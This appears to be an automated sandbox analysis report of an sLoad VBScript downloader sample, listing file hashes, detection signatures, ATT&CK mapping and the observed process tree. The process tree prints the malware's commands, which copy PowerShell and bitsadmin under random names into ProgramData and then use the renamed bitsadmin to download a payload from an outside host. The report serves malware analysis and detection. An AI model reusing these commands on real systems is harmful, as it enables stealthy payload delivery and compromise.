Analysis

  • max time kernel
    37s
  • max time network
    40s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    23-11-2020 13:04

General

  • Target

    Allegato_Sload_Italy_vbs (19).vbs

  • Size

    5KB

  • MD5

    eb5129aca7687d3de32e25cc3a0fc643

  • SHA1

    857d8842c0424c7f7ad3dc1b76922e26fd6b94a7

  • SHA256

    31b24778ec52bcc726779fe314e6711ffefb2dcaea4342c2621f908327de71ae

  • SHA512

    534c8ea193e21679f24cee81fbf1a84490e867f2565aedac9032337036d2a9b9509f77924e29f091ffc360077e60d3e5489d28001c5ab0c04ba89a46453bc550

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_Sload_Italy_vbs (19).vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1848
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zFTdML.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\KNTnLqj*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1224
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zFTdML.exe
        3⤵
          PID:1996
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\KNTnLqj*.exe
          3⤵
            PID:1976
        • C:\ProgramData\KNTnLqjin.exe
          "C:\ProgramData\KNTnLqjin.exe" /transfer qFPNoH /download https://owensii.com/werlopab/03824470284/it.png C:\Users\Admin\AppData\Roaming\it.png
          2⤵
          • Executes dropped EXE
          PID:1972

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\KNTnLqjin.exe
        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • C:\ProgramData\KNTnLqjin.exe
        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • memory/1224-0-0x0000000000000000-mapping.dmp
      • memory/1972-4-0x0000000000000000-mapping.dmp
      • memory/1976-2-0x0000000000000000-mapping.dmp
      • memory/1996-1-0x0000000000000000-mapping.dmp